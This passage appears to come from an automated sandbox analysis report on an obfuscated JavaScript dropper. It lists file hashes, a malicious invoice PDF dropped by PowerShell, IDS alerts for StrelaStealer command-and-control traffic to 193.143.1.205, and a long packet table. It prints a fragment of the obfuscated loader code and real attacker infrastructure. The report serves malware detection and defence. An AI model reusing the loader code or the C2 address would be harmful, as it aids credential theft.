SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10364), with no line terminators
Entropy (8bit):	4.989628081657439
TrID:
File name:	1684156262492114486.js
File size:	10'364 bytes
MD5:	2578ebd9cf936ed6f53d075c6e16d66d
SHA1:	0f807eb9f7d770242d86fe80f07ed6acfac304a9
SHA256:	2edf3881e09420482debbcb9352976418a4eb1de189bf56550551b7c8525e009
SHA512:	cc5dab23ecc66c265b4fc2d69028beaa4e47b9d663e86d6520ab02d5d132493a242f1caeca461e8cba1137adc3762fc5039cb112d80e7bd6bea43571bc20ed15
SSDEEP:	192:2fImJS19Bp6P6DyINkabLommuXRoZ334zrV79CGaRR013bg:qzK9BhoN34zrV7RarG3bg
TLSH:	942245DAF96BCB6FCEF7A4EFD49480D5B94C00234E2C0369E5990525526A6CC93F43B8
File Content Preview:	function ddtysnceb(){this[wivzkn+pivxxukp+vzbcty+hqcofic]("vmrdieu=[1031,3079,5127,4103,2055,3072];var gyuoygg=this[hytkx+vzbcty+qkziggvn+fwagr+wivzkn+frfet+yleucj+jktwgvecg](this[ffnficgdm+oypvlan+hecagar+qkziggvn+ubebowc+hytkx+jktwgvecg][dpkrfer+qkziggv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T18:53:12.223424+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T18:53:12.223424+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T18:53:14.962433+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 18:53:11.418368101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:11.423453093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:11.423532963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:11.426382065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:11.431346893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223336935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223365068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223380089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223395109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223409891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223423958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223423958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.223438025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223447084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.223454952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223469019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223478079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.223484993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.223495960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.223526001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.288973093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.288990974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.289006948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.289038897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.337300062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.343516111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343542099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343596935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.343676090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343688965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343754053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.343801022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343815088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343830109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.343857050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.344221115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.344243050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.344258070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.344273090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.344273090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.344289064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.344297886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.344333887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.345103979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345124960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345139980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345154047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345169067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.345170021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345202923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.345984936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.345999002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.346014023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.346029043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.346030951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.346060038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.361582994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.361622095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.390314102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390326023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390367031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.390386105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390397072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390430927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.390480042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390491962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.390525103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.436095953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.436109066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.436225891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.464787960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464862108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464876890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464895964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464910984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464925051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464926958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.464941025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.464951992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.464975119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.465286970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465301991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465317011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465332031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465337992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.465348005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465354919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.465363026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465380907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.465384007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.465435982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.466098070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466123104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466137886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466160059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466176987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466192961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.466269970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.466862917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466876984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466892004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466906071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466922045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466922045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.466937065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466948032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.466953039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.466968060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.467108011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.467739105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467753887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467768908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467782974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467797041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.467797995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467813015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467820883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.467828989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.467858076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.468538046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.468563080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.468578100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.468660116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.481839895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.481854916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.481869936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.481890917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.510915995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.510932922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.510946989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.510955095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.511022091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.511075020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.511087894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.511101961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.511116982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.511131048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.511151075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.511183023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.555871964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.555902958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.555918932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.555933952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.555948019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.555951118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.555969954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.584640980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584664106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584680080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584841013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584856033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584865093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.584871054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584897995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584912062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584918022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.584927082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.584938049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585017920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585109949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585124969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585139036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585251093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585262060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585300922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585315943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585338116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585431099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585517883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585532904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585547924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585577011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585617065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585635900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585652113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585665941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585681915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585691929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585697889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.585711002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.585894108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586287022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586309910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586324930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586338043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586339951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586357117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586369991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586381912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586447954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586756945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586771965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586786032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586800098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586843014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586843967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586846113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586860895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586874962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586889029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586894035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586905003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586920023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586919069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586935997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.586955070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.586988926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.587610960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587703943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587728024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587743044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587758064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587764025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.587771893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587785006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.587788105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587804079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587819099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.587833881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.587858915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590348005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590363026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590377092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590430975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590430975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590650082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590672016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590687037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590699911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590715885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590730906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590732098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590744972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590759039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590759993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590774059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590785980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590787888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590805054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.590820074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.590861082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.591485977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.591500998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.591516018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.591530085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.591547012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.591578960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.595549107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602334023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602348089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602370024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602384090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602397919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602399111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602415085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602426052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602498055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602502108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602523088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602536917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602547884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602557898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602571964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602581978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602646112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602660894 CET	80	49730	193.143.1.205	192.168.2.4
